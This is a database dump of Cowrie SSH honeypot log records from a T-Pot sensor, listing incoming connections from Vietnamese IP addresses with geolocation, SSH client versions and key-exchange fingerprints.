24330	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:46.424823+03	2021-09-20 14:15:08.645472+03	{"_id": "fgbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:42278 (192.168.176.2:22) [session: 47f9d15d9dcb]", "session": "47f9d15d9dcb", "@version": "1", "protocol": "ssh", "src_port": 42278, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.424823Z", "@timestamp": "2021-09-20T11:08:46.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24331	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.447781+03	2021-09-20 14:15:08.646472+03	{"_id": "fwbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59434 (192.168.176.2:22) [session: b36e621e2b21]", "session": "b36e621e2b21", "@version": "1", "protocol": "ssh", "src_port": 59434, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.447781Z", "@timestamp": "2021-09-20T11:08:46.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24332	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.455942+03	2021-09-20 14:15:08.647472+03	{"_id": "gAbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59508 (192.168.176.2:22) [session: ce8d3dcf96c0]", "session": "ce8d3dcf96c0", "@version": "1", "protocol": "ssh", "src_port": 59508, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.455942Z", "@timestamp": "2021-09-20T11:08:46.455Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24333	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.596787+03	2021-09-20 14:15:08.648471+03	{"_id": "gQbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:32860 (192.168.176.2:22) [session: 17b84e30fa5b]", "session": "17b84e30fa5b", "@version": "1", "protocol": "ssh", "src_port": 32860, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.596787Z", "@timestamp": "2021-09-20T11:08:46.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24334	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:46.967325+03	2021-09-20 14:15:08.64947+03	{"_id": "ggbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:51116 (192.168.176.2:22) [session: 7c0494b9f2df]", "session": "7c0494b9f2df", "@version": "1", "protocol": "ssh", "src_port": 51116, "dest_port": 22, "timestamp": "2021-09-20T11:08:46.967325Z", "@timestamp": "2021-09-20T11:08:46.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24337	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.458899+03	2021-09-20 14:15:08.65347+03	{"_id": "kQbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ce8d3dcf96c0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:46.458899Z", "@timestamp": "2021-09-20T11:08:46.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24338	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.598819+03	2021-09-20 14:15:08.6545+03	{"_id": "kgbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "17b84e30fa5b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:46.598819Z", "@timestamp": "2021-09-20T11:08:46.598Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24339	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:46.703272+03	2021-09-20 14:15:08.655472+03	{"_id": "kwbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "47f9d15d9dcb", "@version": "1", "timestamp": "2021-09-20T11:08:46.703272Z", "@timestamp": "2021-09-20T11:08:46.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24340	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.728348+03	2021-09-20 14:15:08.65747+03	{"_id": "lAbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b36e621e2b21", "@version": "1", "timestamp": "2021-09-20T11:08:46.728348Z", "@timestamp": "2021-09-20T11:08:46.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24341	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:46.742562+03	2021-09-20 14:15:08.6585+03	{"_id": "lQbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6403eef19224", "@version": "1", "duration": 2.9897384643554688, "timestamp": "2021-09-20T11:08:46.742562Z", "@timestamp": "2021-09-20T11:08:46.742Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24342	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.764606+03	2021-09-20 14:15:08.6595+03	{"_id": "lgbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ce8d3dcf96c0", "@version": "1", "timestamp": "2021-09-20T11:08:46.764606Z", "@timestamp": "2021-09-20T11:08:46.764Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24343	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:46.877418+03	2021-09-20 14:15:08.660501+03	{"_id": "lwbkAnwBvYTbRNuE5BMc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "17b84e30fa5b", "@version": "1", "timestamp": "2021-09-20T11:08:46.877418Z", "@timestamp": "2021-09-20T11:08:46.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
